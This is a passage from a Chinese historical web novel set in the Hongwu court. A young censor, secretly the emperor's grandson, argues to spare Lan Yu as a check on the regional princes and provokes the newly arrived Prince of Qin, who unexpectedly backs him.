“呼~看来咱大孙还并不知道咱的身份.....” 老朱心里不由松了口气。 不过既然并不知道咱的身份,那....这为什么忽然就帮蓝玉了? 咱不杀蓝玉,是想把蓝玉留给咱大孙,可.... 老朱微微蹙眉。 他不杀蓝玉,是想把蓝玉留给朱煐,可朱煐态度忽然转变,是为什么? 老朱看着朱煐。 齐泰、黄子澄、刘三吾等一众文官集团文官都看向朱煐。 武将勋贵李景隆,徐辉祖等一众也看着朱煐。 淮西一脉以蓝玉为首,常升等众将也看着朱煐.... 面对这些目光,朱煐早已习惯被人注视,心如止水,只是冲齐泰拱手道:“齐大人所想,并没有太大的问题,正如朱某先前所想。” “这要是光从表面上来看的话,无论是立允炆殿下为皇储还是立允熥殿下为皇储,凉国公活着都是个祸害,立允炆皇孙为皇储,则凉国公易生兵变扶立新君。立允熥殿下为皇储,则凉国公易再行曹孟德挟天子以令天下之事。” “先前我也是这般想的,可有一点,齐大人忽略了,大家也都忽略了。” 朱煐说到此处,顿了顿。 齐泰闻言不由一愣,看向黄子澄。 而此时的黄子澄也是愕然愣住,微微蹙眉。 龙椅上的老朱也是皱起了眉头,似乎是在思考.... 百官也都皱起眉头,想着朱煐口中的那被忽略的一点..... 可大家想了半天,也没有想到.... “朱御史,不知这哪一点我忽略了?” 齐泰有些不服,想了半天依旧没有想到自己忽略了哪一个重点,以至于蓝玉就破了这必死之局!他只觉着是朱煐的托词.... 百官、老朱的目光悉数落到朱煐身上。 朱煐微微一笑道:“齐大人,这一点你未曾想到也不怪你,我也是昨日才刚刚想到的。” 说着朱煐面向老朱,神色一肃,拱手道:“陛下!臣先前所想,实在是浅薄。” “先前臣所想,只考虑了朝中局势,只是想着皇储之争。” “倘若只是从皇储之争出发,那确实,凉国公没有活着的理由,毕竟齐大人说的也对,无论是哪一位皇孙上位,凉国公都是个祸患。只是臣昨日灵光乍现,又想到了一个关键的问题。” “倘若....臣是说倘若!倘若陛下殡天之后,陛下立下的储君上位,届时皇孙年幼。而恰好陛下又已经杀了凉国公,如此来看,朝中局面是稳住了,可....若是藩王入京呢?” “纵观当今大明藩王,陛下您生的可都是厉害的种啊!” “秦王朱樉、晋王朱棡、燕王朱棣,哪一位都是能独自领兵镇守一方的将帅之才,倘若藩王起兵,凉国公一死,这朝中哪一位能与他们抗衡?” “靠着齐大人这张嘴吗?” “显然不行吧?” “是以臣以为,这凉国公,杀不得!得留着凉国公,以慑诸王!” 朱煐话音落,整个大殿,鸦雀无声! 所有人都陷入了死一般的寂静..... 黄子澄、齐泰、刘三吾,全都瞪大了眼睛此刻目瞪口呆地看着眼前的朱煐,听着耳边的话,整个大脑一片空白! 我他妈的....听到了什么? 百官之中,张平两眼在发光! 他双目炽热,赤红,看着朱煐的眼睛在发光! 老大! 这就是我张志远的老大啊! 为官一任,不惜此身,老大是这么说的,也是这么做的! 当朝说出这番话,除了老大,还有谁敢说? 虽然早就知道了朱煐给蓝玉的计策,也知晓今日朱煐会说的话,张平也曾在脑海中反复模拟朱煐说出这番话后的场面,可当这一幕真真切切地发生在眼前的时候,依旧让张平整个人感觉到热血沸腾! 无惧生死的死谏,放眼古今,有多少人能够做到? 放眼洪武朝,唯有我张平的老大! ....... 此刻不光是张平。 三日前同朱煐一起通过殿试进入朝堂的最新一批的朝堂官员,大明最新一批的进士。 一个个年轻人的眼中也是充满了讶异与羡慕以及那埋藏在眼中的钦佩。 谁能想到,左右洪武朝朝堂格局的,居然会是一个和自己等人一样刚通过殿试进入朝堂的贡生? 可大家在羡慕钦佩的同时却又觉得深深的无力。 这样的举措,非常人能做。 每一次那都是诛九族的罪过! 也正是自认做不到,才心中更为钦佩,佩服。 “陛下,藩王之乱自古以来爆发了不知多少次。倘若是懿文太子尚在,太子登基,臣决计不提此事,可倘若立皇储,皇孙年幼,陛下不得不多虑三分!” “臣句句肺腑之言,为大明江山,为天下百姓,还请陛下留下凉国公!” “凉国公,他不能杀!” 朱煐的眼睛直勾勾地盯着老朱,一副视死如归的架势。 ....... 静! 安静! 偌大的奉天殿陷入了死一般的寂静.... 所有人此刻都不由自主地低下了头,不敢看老朱。 看向朱煐的眼神中,有钦佩的但也有骇然的。 藩王之乱? 这分明就是挑拨陛下和他儿子之间的父子之情啊! 无论你乱不乱,那都是皇家自家的家事,岂容你外人置喙? 这小子果然是个疯子! 哪怕是齐泰,张了张嘴却也没有说出话来.... 陛下已经死了一个大儿子了,你再给挑拨他和几个儿子之间的关系?这话题....哪怕是齐泰有心想要在朱允炆这个‘未来储君’面前表现,可也不敢轻易插入这样的话题漩涡中。 一个不慎,那就是粉身碎骨! ....... 满殿寂静。 恰在此时。 张平站了出来。 “陛下,臣以为,朱御史所言不错!” “人无远虑必有近忧,凉国公不能杀啊!” 张平不敢和朱煐那般充当和老朱针锋相对的角色,他倒是有心,可他自认是个凡人,无法做到九族因自己而被诛而无动于衷。 但要说惜身.... 张平看向朱煐的眼神中满是热忱。 老大尚且不惜身,我张平又何惧一死? 只死我一人,便无惧! 张平不怕死,他只是怕亲友遭受牵连。 不敢当主攻,咱就跟着老大当个助攻! 可即便是张平这助攻,也已经足够疯狂! 满朝文武看向张平的眼神中也充满了骇然。 疯子! 他娘的,又来一个疯子!~ 这一届的科举选出来的都是些什么玩意儿? 胆大包天! 胆大包天啊!!! ...... 一时间,整个奉天殿的气氛陷入了冰点。 满朝文武没有一人敢在这样的气氛中开口吭声。 蓝玉此刻也是惴惴不安。 朱煐的计策就是以牵制藩王的作用让蓝玉免死,可这计策究竟能不能成,最终还得看老朱的自身考量。 蓝玉深知,决定自己生死的时候到了! 老朱瞪大了眼睛,看着朱煐,眼中满是不可思议。 而这一幕落在旁人眼中,是老朱对于朱煐这大逆不道挑唆父子之情言语的愤怒。 可实际上.... “有理!” “咱大孙居然想的比咱还远!” 老朱心中一愣之后,旋即就是欣慰。 倘若是旁人给他说这话,那自然,一个诛九族套餐绝对是免不了的。可朱煐..... 第24章 朱樉人麻了!哪来的逆天崽? 在老朱眼里,这失而复得,能力出众有担当的大孙就是未来大明的希望!这就是自己的大孙!是未来大明的皇帝! 从皇帝的角度看天下,藩王,是一个不得不考虑的问题。 朱煐主动提出这个问题,说明什么? 说明眼光长远啊! 看得远,有敏锐的政治嗅觉! 老朱大为欣慰! 老朱先前只是单纯地想着把蓝玉暂且留下,看自己这大孙能不能收服他,可眼下来看,这留下蓝玉,还真成了必须的了! 否则咱孙手下,没有可用之人啊! 当然,这一切还是得在朱煐能够慑服蓝玉的基础上,否则,宫城之乱,远胜藩王! ...... 此刻,奉天殿内百官的目光全都落到了老朱身上。 大家不敢直视,只感用眼角的余光去瞥。 惴惴不安的蓝玉。 忐忑不已的黄子澄、齐泰。 震惊错愕的满朝文武。 视死如归的朱煐和张平。 就在大家都等着老朱开口一锤定音的时候..... “陛下!” “秦王殿下殿外求见!” 殿外,通禀的宫中侍卫闯入殿中,突如其来的通禀瞬间打破了整个奉天殿的平衡。 “嘶!” 群臣不由齐齐倒吸了一口冷气。 好家伙! 秦王殿下入京了? 什么时候入京的? 直接殿外求见? 这时间....来的可太巧了! 不少官员的脸色不由一变。 对于秦王朱樉,不少人的心里还留有阴影。 虽然秦王已经就藩多年,可在就藩前,那就是应天府的一大恶霸,眼下不少官员都是曾经那段时间过来的,那会儿大家都刚刚入朝,还只是个新官,都受了秦王不少欺凌。 秦王朱樉,脾气暴躁,尚武,论带兵打仗和武力值,直逼甚至隐隐要超蓝玉! 一言不合就掏出拳头和人讲道理。 想当初整个应天府都是怨声载道。 也有不少人去找老朱告状,可换来的只有朱樉更进一步的报复。 而眼下,朱煐刚提出了藩王之危,刚好就撞上了这朱樉回京..... 这事儿要是被朱樉给知道了,那可真就是天雷勾地火,这应天府别想安宁了..... ....... 一般而言,藩王不得传召是不能擅自离开封地的,更逞若入京了。 不过这会朱樉入京,确实是得了老朱的诏令。 月前,朱标去世,老朱就传召了诸王。 可那会儿的情况,谁敢入京? 秦王朱樉,晋王朱棡,燕王朱棣,一个个全都接旨不入京,都怕盛怒之下的老朱对自己下手。 可这不入京又不行,那不是抗旨吗? 抗老朱的旨? 什么意思? 活腻歪了?想造反? 于是乎,诸王接了旨意,也应下了入京,不过这封地之事繁忙再加上路上颠簸生了点病,耽搁了一些时日,这总说得过去吧? 朱樉一早就出发了,路上不出意料地得了一场‘大病’,等过了小半个月,觉着老朱的情绪可能稍稍平复了一些,这才‘重病初愈’,星夜兼程赶赴应天府。 这不,刚到就直接来奉天殿请罪了。 老朱听得来报,不由眉头一皱。 “老二来了?” “他这来的速度倒是快啊,咱给他的旨意一个月前就到了吧??” “喊他进来!” 老朱挥了挥手说道。 殿中。 朱煐:“????” 他瞪大了眼睛看着老朱。 不是。 怎么个意思? 这注意力....就被转移了? 我这精心谋划的必死之局呢? 原本刚刚那朝堂的氛围,那气氛,俨然就是一副逼的自己不得不死的局面啊! 明显老朱已经要暴怒,他在酝酿! 可这一下,所有注意力全都被这秦王朱樉觐见之事给打断了? 朱煐有苦难言。 一时间无语住了.... ...... 很快,随着老朱的传召,朱樉大摇大摆地走入了奉天殿。 他身材魁梧,是常年练武所致。 他的眼神四下扫视百官,眼中满是不屑。 只是看向老朱的时候,却又讪讪地不敢直视。 朱樉天不怕地不怕,可唯独面对老朱这个老爹的时候,这心里头还是不免有些发憷.... 从小到大,他可没少被抽,老朱下手狠,每一次都抽的朱樉皮开肉绽,朱樉深知自己老爹的脾气,他敢招惹任何人,可唯独不敢去招惹老朱.... 朱樉刚入殿,一眼就看到了刚刚出列上禀回话的朱煐站在殿中间,挡住了他的去路。 看着年轻的生面孔,朱樉不由眉头一皱,径直向前,压根没有将朱煐放在眼里,在他想来,自上前,对方该主动退避,让出位置才是。 然而....显然事情的发展出乎了他的预料.... 朱煐一动没动,依旧站在殿中间,直勾勾地占据中心位置,挡住了他的去路,没有半点让位置的意思。 “你且让开。” 朱樉心里不爽得很,这要是换成在其他地方,他早一脚给招呼过去了,可眼下在这奉天殿,老朱的眼皮子底下,朱樉不敢放肆,只好强压着怒气。 朱煐心里正不爽着呢。 他奶奶的,小爷精心谋划,这情绪气氛都酝酿到那儿了,眼看就要功德圆满。 你丫的好好的来打什么岔子? 朱煐心里怒极,面对朱樉的目光没有丝毫的退避,瞪了朱樉一眼,而后直面老朱。 “陛下,看到没?” “秦王自入殿以来,双目四扫,未将百官放在眼里,语气骄纵,未把微臣放在眼里!” “臣乃天子门生,秦王未将微臣放在眼里那就是不把陛下放在眼里!” “眼下在殿中尚且如此,可见平日如何!” “臣于坊间时便久闻秦王传闻,娇纵跋扈,肆意妄为!” “可偏偏秦王殿下统兵作战之才,放眼大明也少有人能出其左右。” “试问陛下,倘若日后秦王造反,陛下又将凉国公杀了,朝中可还有人能挡秦王兵锋?” “臣还是那句话,凉国公,不可杀!” 朱煐义愤填膺。 而这会儿,在朱煐身边,刚入殿,正因为朱煐挡路没有让位置而愠怒的朱樉顿时就懵了.... “???” “???” 朱樉一脸愕然地看着朱煐。 旋即又看向老朱。 大脑空白,一片浆糊..... 不是,这人谁啊? 我怎么就造反了? 朱樉顿时整个人红温了,脸色涨红。 “胡言乱语!” “你这是污蔑!” “父皇!此人构陷儿臣,构陷儿臣啊!” 朱樉天不怕地不怕,可这造反的帽子,是真扛不住啊.... 看着朱煐,朱樉人都懵了.... 这人特么的是谁啊? 难不成就因为刚刚老子看了他一眼,就直接构陷我? 现在朝堂的格局都已经这般惊险了吗? 朱樉赶忙解释。无论如何,这造反的帽子不能被扣上,哪怕只是一点,沾上一点也不行! ..... “你是何人?” “你我无冤无仇,何以构陷本王?” 朱樉看着朱煐,怒不可遏。 什么仇什么怨啊,就这么构陷自己? “秦王殿下,我只是这大明朝堂上一小卒,你我也并无仇怨,但既然身为大明臣子,那就该为大明百姓,为天下着想。” “我也并未说秦王殿下造反不是?我说的是倘若,倘若秦王殿下造反,那该当如何?” 朱煐义正言辞地说道。 朱樉脸色一黑。 你大爷的! 这造反还有倘若的吗? 这一个倘若造反,和要我命有什么区别? “本王不会造反!” 朱樉冷着个脸说道:“你这就是构陷!” “这世上的事情谁说的准?不怕一万就怕万一,秦王殿下,你可知,人心难测?” “这人啊,都是会变的!” 朱樉脸更红了。心里直接开始了对眼前朱煐祖宗十八代的问候。 你妈! 这是铁了心的要我命啊! “父皇,此人胡言乱语,不可听信啊!” “儿臣从未想过造反,就不存在这种倘若!子虚乌有之事,还请父皇明鉴!” “秦王殿下,你这话别说的这么绝对嘛,你现在不想造反,不代表以后不能造反啊,我也没说你现在造反啊,是说倘若秦王殿下你日后造反。” 朱樉:“......” 你大爷! 朱樉人麻了。 不是,这多年未曾入朝,现在这京城朝堂上都已经这般肆无忌惮,这般大胆了吗? 动不动就参人一个造反? 而看着此刻强压着怒意,对自己疯狂控诉的朱樉,朱樉心里怎么想的朱煐不知道,但朱煐属实是爽到了。 原本朱樉的出现让老朱包括文武百官的注意力全都转移到了这位秦王殿下身上。 可眼线,不光注意力回来了,貌似因为自己的话,还让眼前这位老朱的亲儿子,以暴脾气著称的秦王殿下,对自己恨之入骨了? 妙! 妙啊! 原本朱煐想的只是把注意力重新拉回来,可鉴于眼下的局面,心思一转,立刻就有了新的想法。 构陷这个罪名可大了去了。 这真要是坐实了,自己不是就可以慷慨就义了? 藩王确实是个大问题,为了天下万民,为了大明,点破这一点,那这百分百就是为家国天下而死啊!完全符合功德圆满的要求! 想清楚这些后,朱煐当即火力全开。 ...... 朱煐和朱樉针锋相对。 而周遭的满朝文武,已然彻底看呆! 黄子澄、齐泰、李景隆、徐辉祖、常升、蓝玉等,不管是文臣集团还是武将勋贵亦或是淮西一脉,看着疯狂对着朱樉输出的朱煐,都不由自主地抽了抽嘴角,心中不由扶额。 这战斗力....简直逆天了! 秦王殿下刚入朝,就被扣上了可能造反的帽子? 这换谁谁顶着住啊? 疯子! 这丫的就是个妥妥的不要命的疯子! 而眼下,百官中,张平看向朱煐的眼神,更崇拜了! 老大!这就是我张志远的老大! 哪怕是面对嚣张跋扈的秦王殿下,依旧不退半步,依旧敢于直言不讳! 老大这真的是将生死完全置之度外啊! 老大如此性情,那我张志远..... 想到此处,张平向前一步,也是挺身而出! “陛下,臣以为,朱御史所言不无道理。” “倘若秦王殿下造反,朝中非凉国公不可与之匹敌!” “还请陛下留下凉国公,以对未来之危!” 张平一开口,顿时吸引了朱樉的注意力。 “?????” 朱樉看向张平,眼中满是错愕,头上全是问号。 不是。 这特么的。 你丫的又是谁? 这又一个来参我造反的? 朱樉委屈坏了。 造反? 老子虽然偶尔有想过,可从来没有行动过啊! 这哪里冒出来的两个不要命的逆天崽? 本来就担心大哥死后老爹对自己不放心,现在好了,我....嗯? 等等! 原本盛怒的朱樉正想着,顿时整个人一怔,他好像想到了什么....旋即脸色一变。 这莫名其妙冒出来两个年轻官员不顾生死参我一本,这是为什么? 难不成就是单纯为了找死? 我也未曾造反,以这子虚乌有之事参我,既得罪了我,又不能当真参倒我,反倒惹火上身,这世上或许会有这种蠢人,可这种蠢人必不会出现在这朝堂之上! 事出反常必有妖! 朱樉大脑瞬间清明,眼神扫了一副视死如归模样的朱煐和张平一眼,心中警铃大作。 单纯找死? 不!这天底下哪里有这种人? 既然不是单纯找死,那目的又是什么? 朱樉不是个喜欢动脑子的人,可在这一刻,他仿佛调动了毕生的脑力!最终,他的目光不由落在了龙椅上的老朱身上... 此时的老朱正一脸欣赏地看着朱煐。 正好,这一切被朱樉收在眼底。他的心里头不由咯噔一下.... “这是老爷子的意思?” “老爷子在敲打我!” 几乎是一瞬间,朱樉就做出了判断! 第25章 凉国公非死不可了? 要说老爷子年纪大了,那确实是年纪大了,可要说他对朝堂失去了把控能力,那朱樉心中决然不信。 老朱是何等人物? 这大明就是他一手打下来的,会掌控不住朝局? “这是一个警告吗?” 朱樉心中警铃大作。 朱樉有些心虚。毕竟自己在听说大哥去世之后,确实是犹豫了半个月,想看看其他几个兄弟怎么做,再决定。 老朱传召入京的诏书很早就到了,可硬生生被拖了大半个月才姗姗来迟地入了京。 “看来老爷子对我很是不满啊。” 一瞬间的功夫,朱樉想了很多。 他不是个爱动脑子的人,可没办法,自己的几个兄弟一个比一个有脑子,不动脑子容易被玩死。长年累月下来,朱樉虽然还是不喜欢动脑子,可关键时刻,脑子还是够用。 ..... 而这会儿。 朝堂上的百官。 包括黄子澄、齐泰、刘三吾、常升、蓝玉在内,听着朱煐这一会儿的功夫又把矛头对准了刚刚入朝的秦王朱樉身上,众人心中也不由扶额沉默。 沉默声震耳欲聋.... 这战斗力...简直爆表啊! 要说之前,朱樉不在的时候参个一本,以藩王的威胁劝谏,保蓝玉也就罢了。可眼下,秦王本人就在面前,这特么的不是贴脸输出吗? 这是把这朱老二往死里得罪啊! 这日后能有好果子吃? 这丫的真不怕死吗? 虽然朱煐的一次次惊人之语已经让大家心里有些些许的心理准备,可当看到朱煐面对朱樉这位凶名在外的秦王殿下,指着这丫的鼻子一顿神喷,大家依旧被朱煐的这举措给惊呆了! 勇猛! 太勇了! ..... 百官的目光不由自主地落在局中。 看看朱煐,又看看朱樉。 在众人的眼中,朱樉的脸色青一阵红一阵,旋即涨红又变得微白。 “秦王怒了!” “必然怒了啊!这换谁谁不怒?” “秦王殿下可不是个好脾气,这下朱御史怕是完咯...” “玩火者必自焚,这也是咎由自取!” “当着秦王的面这般大放厥词?当真不要命了!” “......” 百官有的相互交换眼神,用眼神交流,同时小声窃窃私语..... 木秀于林风必摧之,这些日子朱煐锋芒毕露,朝中大部分的大臣早就看他不顺眼了。 窃窃私语声传入朱煐的耳中。 朱煐微微一笑,虽然听得不是很清楚,但猜也能猜个大概。 他乐了。 功德圆满,就在眼前! ...... 朱煐看向老朱。 希望老朱能够赐自己一死。 他目光灼灼地看着老朱。 在他目光的注视下,老朱却是面色如常,丝毫不见暴怒。 不过他心中却是更喜。 这是暴风雨前的宁静啊! “老二,你有什么话想说的吗?” 老朱猛不丁的开口来了一句,目光也从朱煐的身上移开,落在了朱樉的身上,眉头微蹙。 瞬间,朱樉就感觉到了一股子无名的压力,身子不由自主的打了个哆嗦.... “父...父皇,儿臣确实是有些想法。” 虽然朱樉已经是几十岁的人了,可面对老朱,依旧是打心底里的发憷。 老朱的这几个儿子里,要说不怎么怕老朱的,也就只有老大朱标了。无论是老二朱樉,老三朱棡,亦或是老四朱棣,对于老朱这个个父亲,都是充满了敬畏。 “有话就说,有屁就放。怎么?出去这么些年,说起话来都扭扭捏捏的了?” 老朱白了朱樉一眼。 朱樉的额头瞬间冒出细密的汗渍.... 用衣袖擦了擦冷汗,朱樉看了眼朱煐,而后冲着老朱拱手道:“启禀父皇,儿臣刚刚初闻朱御史所言时,确实是有些激愤,有些许愤慨,毕竟儿臣向来对大明忠心耿耿,从未有任何僭越之事,更别说造反了,儿臣冤枉,儿臣当真没想过啊!” “不过儿臣这又转念一想,又觉着朱御史,有远见啊!” “朱御史此言,初闻确实是有些不妥。可细细思量,儿臣觉着,说的有理!” “其一,朱御史也说了,是倘若,是假设,倘若儿臣造反,那是不是有这种假设和倘若呢?儿臣知道,儿臣是不会造反的,可天下只有儿臣一个藩王吗?不是的,这天底下的藩王多了去了,儿臣不会造反,难保其他人不会造反啊!” “是以儿臣这么一思量。当即也就明白了朱御史的良苦用心。” “凉国公是该留下的,有凉国公坐镇朝中,至少朝中兵马有人掌管。不光凉国公该留下,儿臣觉着,儿臣也能留下,倘若有哪位弟弟未来有什么非分之想,如今大哥不在,儿臣这个当二哥的,必须要出手好好管教管教!” “父皇,切莫因为此时责怪朱御史,儿臣虽与朱御史只是初见,却观其言行,足可见其乃是我大明忠义之士,此等人才少有,少见啊!” 朱樉一脸语重心长,说得情真意切。 说着,朱樉又冲着朱煐道:“朱御史放心,本王绝不造反!不仅如此,本王还会看着本王的弟弟,倘若他们谁敢造反,本王必不答应!” “这一点,请朱御史放心!” 说着朱樉嘴角微微上扬,飒然一笑。 而随着朱樉这一番话。 顿时,整个奉天殿陷入了死寂! “????” 所有人全都目瞪口呆地看着眼下一脸笑意的朱樉,悉数愕然。 不是....这还是秦王殿下? 这走向不对劲啊! 黄子澄、齐泰、刘三吾、包括李景隆、徐辉祖、常升、蓝玉,有一个算一个,朝堂上的官员们无论是哪个派系,这一刻全都懵了.... 不光是朝中众臣,就连朱煐也是一愣... 不是,这是什么操作? 秦王朱樉,这在历史记载里不是个暴脾气吗? 最终的结局还是因为经常痛打府中的下人被几个老妪给毒杀了,为此老朱还专门痛斥,自己这儿子就是个畜生东西。 什么时候这丫的脾气这么好了? 谏你造反,你笑脸相迎? 你朱樉要当李世民啊? 朱煐人麻了。 原本感觉自己已经是稳操胜券,可眼下,变故来得猝不及防....让他完全来不及反应.... ..... “父皇,儿臣一片赤诚,可说句大逆不道的话,这老四可是一直以来不太听话啊,朱御史这话倒是提醒儿臣了,是该用凉国公防上一手,有备无患嘛。” “儿臣反正是身正不怕影子斜,既没有造反的心思,那便不怕凉国公坐镇朝堂。” 朱樉侃侃而谈,顺带手的还踩了一脚朱老四。 他看朱棣本就不顺眼,从小就觉着老四朱棣心思深沉,惦记着大哥朱标屁股下面的那个位置。作为朱标忠实的追随者,朱樉拉着老三朱棡,常年针对朱棣,这让朱棣也是十分难受。 “老二你也觉得咱不该杀蓝玉?” 老朱眉头一挑看向朱樉。 “自然不该杀,不过....父皇,这怎么好好的,忽然扯到要杀凉国公了?凉国公可是犯了什么大罪?” 朱樉话说到一半反应过来之后顿时一脸懵.... 他刚入应天府就马不停蹄地入朝了,对于朝中发生了什么,压根就不清楚。 匆匆入朝,结果一入朝就被扣上了个造反的帽子,朱樉郁闷极了,哪里还有什么心思想为什么? 这会儿朱樉自认看穿了老朱的心思,心情放松不少之后才回过味来。 对啊,这怎么好好的,扯到要杀蓝玉了呢? ...... “齐泰,你替咱来给老二解释解释。” 老朱挥了挥手。 “是。” 齐泰虽然很不想在这个时候吸引火力,可毕竟这话题是他起的头,这会儿也就不得不站出来了。 “回禀秦王殿下,是这样的,近日朝中正议皇储。懿文太子突然病逝,眼下符合年龄和身份的皇储人选无非便是允炆殿下和允熥殿下。” “这倒是说的没错,然后呢?这立皇储与杀凉国公有何关系?” 朱樉依旧懵圈。 齐泰继续道:“此事有关朱御史前几日提出的两个假设。” 听到朱煐,朱樉的眉头不由一挑.... 又是这朱御史? 他娘的,这家伙究竟是哪里冒出来的? 朱樉不由又看了朱煐一眼,看着年轻的过分的朱煐,眉头一皱。 “这般年轻,能在朝中弄出这般动静,这背后不是老爷子还能是谁?” “就算不是老爷子指使,也是老爷子默许的才是....” 想到这些,朱樉心中一凛。 “不知是什么假设?” 朱樉认真询问。 两个假设,出自这朱煐之口,可在朱樉看来,这哪里是出自朱煐之口?这分明就是老朱的意思啊! 齐泰也不卖关子,当即道:“其一,倘若允炆殿下上位,那以凉国公在军中的声望,完全可以做到振臂一呼,发动兵谏,强逼允炆殿下退位,改立允熥殿下。” “嘶!” 朱樉闻言顿时倒吸了一口冷气,两眼瞪大,眼珠子瞪的发直....心里直呼好家伙.... 好家伙! 简直好家伙! 朱樉震惊地看了朱煐一眼。 这小子,年纪不大,干的事儿大的没边啊! 合着不是说我一人造反?这蓝玉在我之前就已经背锅了? 假设,又是个假设,又是个倘若....逆天了!你家的倘若是动不动倘若造反,倘若兵谏的? 御史闻风奏事,以前朱樉还不以为意,可现在来看....这简直就是杀人于无形啊! “老二,你怎么看?” 第26章 老朱乐坏了 就在朱樉愣神的功夫,老朱的声音忽然响起,将朱樉的心神又给重新拉了回来。 朱樉面露难色,不过还是硬着头皮回道:“父...父皇,这既然立允炆不行,那要不,立允熥?立允熥不就无事了?” “齐泰,你替咱告诉他。” 老朱闻言只是摇头,并没有自己开口,而是又再次点名了齐泰。 朱樉愕然地看向齐泰,齐泰苦笑。 “秦王殿下,朱御史还说了,倘若允熥殿下上位,允熥殿下性情懦弱,再加之凉国公辈分甚高,是允熥殿下的亲舅姥爷,朱御史觉着,假使允熥殿下上位,凉国公或成大明曹孟德,挟天子以令诸侯....” “?????” “?????” 齐泰说完,朱樉只觉着自己的脑子嗡的一下,一片空白.....整个人都懵了..... 不是,老弟,你这够狠的啊? 这正反话全给你说了? 朱樉瞪大了眼睛看着朱煐,顿感心有余悸。 合着不是专门针对我?这蓝玉早被针对了? 朱樉又同情地看了不远处的蓝玉一眼。 同时想到老朱,心中一凛。 要说这事情的发酵没有老爷子的默许,这绝不可能! 所以....老爷子他是什么意思? ..... “老二,现在你知道了吧?” “那你怎么看?” 老朱坐在龙椅上老神在在地看着下面的朱樉。 随着年龄愈大,老朱的脾气就越来越差,性格也越发不稳定,可眼下,短时间内经历了几次剧变的老朱,眼下的心态与先前已经全然不同。 先是朱标去世的打击,突如其来的重病让所有人猝不及防,而在重病前,老朱最后悔的就是还和自己的这儿子发生了激烈的争吵。 朱标的去世让老朱感到绝望。 原本老朱即将堕落,却不曾想他见到了朱煐.... 失而复得的大孙子。 失而复得的嫡长孙,还是一个出色的苗子,老朱现在很满足。 不过他准备敲打敲打自己的这几个儿子,也好为日后给大孙铺路.... 老朱的眼睛直勾勾地看着朱樉。 朱樉顿时就感受到了莫名的压力。 气势这玩意儿看不见摸不着的,可确确实实真实存在。老朱身居皇位多年,一手打下的大明江山,洪武大帝的气势就不用多说了。 朱樉被老朱盯着,整个人都觉着压力巨大....气势压力从四面八方席卷而来.... “启禀父皇,儿臣...儿臣....” 朱樉语塞。 他想说不知道,可转念一想,这特么的要是被老爷子觉得自己敷衍了事,那不就完犊子了? 可...老爷子究竟是什么意思? 是杀,还是不杀呢? 一瞬间的功夫,朱樉的大脑里翻涌过了无数的念头.... 忽的,朱樉眼前一亮,大脑一片清明! “倘若老爷子真想杀了蓝玉,那不直接杀了吗?哪里还会留到今天?” “也就是说....老爷子并没有想杀蓝玉,至少暂时不想杀,而至于原因...那也就是方才说的,为了给朝廷留个助力?以防藩王?” “所以老爷子和敲打我一样,对蓝玉也是敲打!” 朱樉觉着自己这会儿是自己这辈子脑子转的最快的一次,瞬间想通了其中关窍之后,整个人都不由自主地打了个激灵。 “启禀父皇,儿臣觉着,凉国公还是不能杀!” “正如方才朱御史所言,倘若杀了凉国公,朝中再无帅才,对于大明首先是个巨大的损失,其次倘若,儿臣只是说倘若,倘若老四当真大逆不道地造反,那朝中将落入十分危险的境地!” “至于齐大人说的,担心凉国公于朝中威胁储君之位,行那曹孟德之事。儿臣以为这倒是不需要太过担心。” “有儿臣在,有诸王在,想必在朝中凉国公行事也得忌惮三分。凉国公既制约了老四,但同时老四也在制约凉国公,更何况眼下父皇还正值当年,有的是时间培养允炆和允熥,又何必急着杀了凉国公呢?” “是以儿臣觉得,暂时可饶过凉国公一命,再不行,削去兵权,也不失为个办法,也不是一定要杀了不是?” 朱樉一番话说完,小心翼翼地看着老朱。 见老朱脸色并无异样,这才不由松了口气..... ...... 而此时。 一旁,听着朱樉这一番侃侃而谈,朱煐的脸色却变得格外难看.... 妈了个巴子! 风头和注意力全被这丫的给抢了! 这下谁还关心自己的死活? 被这么一搅和,这一次又是错失良机了.... 好好好,朱樉,小爷我记住你了! 朱煐心里愤懑地想着.... 要不是忽然冒出来这么个货,自己这会儿怕是早就惹得老朱大怒,打入天牢,秋后问斩了。 现在好了,我成配角了? 朱煐看了眼老朱。 老朱这会儿笑呵呵的。 朱煐更绝望了... 怒气值不光没了,还他娘的笑了! 天塌了啊.... ..... 出乎所有人的预料。 老朱在朝堂上终究也是没有说究竟如何处置蓝玉,只是打了个哈哈,把事情就给糊弄过去了。 这么一来,无论是文官集团还是蓝玉为首的淮西一脉,心里都不太安定。 弄不清楚老朱真实的想法。 这究竟是,杀呢?还是不杀呢? 不过暂时从现状来看的话,老朱暂时应该是没有杀蓝玉的打算,毕竟要杀的话,早动手了才是。 这些和朱煐就没有什么太大的关系了。 朝会之后,他只是有些郁闷。 他想不通,为什么明明周密的谋划又一次失败了。 走出奉天殿,蓝玉笑呵呵地和朱煐打招呼,朱煐没有理会。 朝会之后已是午时,走出大殿迎面吹来就是一阵徐来的清风,蓝天白云空气清新。可在朱煐眼里,世界是灰暗的。 人在心情不好的时候,看什么东西都是灰暗的。 “老大,没想到什么还能活着出来看到太阳。这天可真蓝啊!” 朱煐的身边,张平凑了上来,一阵感慨。 上朝之前张平就已经做好了誓死相随的打算,没打算活着走出奉天殿。 原本假设藩王作乱,因此不可杀蓝玉的谏言就已经是够大胆了,张平自觉必死。后来又赶上秦王朱樉入殿,刚入殿没想到老大忽然开口,直接和秦王针锋相对。 作为追随者,张平没有过多犹豫就直接跟上了。 他早已经将生死置之度外,入殿的时候就没想过活着出来。 而在这样的无惧生死的心态下,也着实是在朝中硬气了一把,惊呆了满朝文武。 这场面在张平的意料之中。 可他唯独没有想到的却是,自己居然还能完好无损地活着出来! 原本是打算死的,可没想到还活着,而且没有任何的惩罚,这让张平有种劫后余生的感觉。能活着,谁想死啊? 这会儿他的心情很不错。 朱煐看了张平一眼,他和张平不同,计划失败,令人郁闷。 “这天蓝吗?” “我看也不蓝。灰蒙蒙的。” 朱煐撇了撇嘴,瞅了眼天,感觉这贼老天好像在给自己做局了一样,明明万无一失的计划,怎么就忽然冒出了个朱樉呢? 他奶奶的秦王,坏小爷的好事! 朱煐想来想去,最终把这计划失败的原因归咎到了朱樉的突然出现上。 除了这丫的是计划之外的变数,其他的一切分明都在自己的掌握之中! “这天气真差。” 朱煐撇嘴又补了一句。 “啊?” 张平一愣,抬头看了看天。 “不对啊老大,这天气明明挺不错的嘛!” 朱煐瞪了张平一眼:“肤浅。” 张平愣在了原地,抬头看了看蓝天白云,心里满是疑惑.... 不是,这天气明明挺不错的,老大怎么说我肤浅呢? 等等! 张平忽然脑海里灵光一闪,旋即眼前一亮。 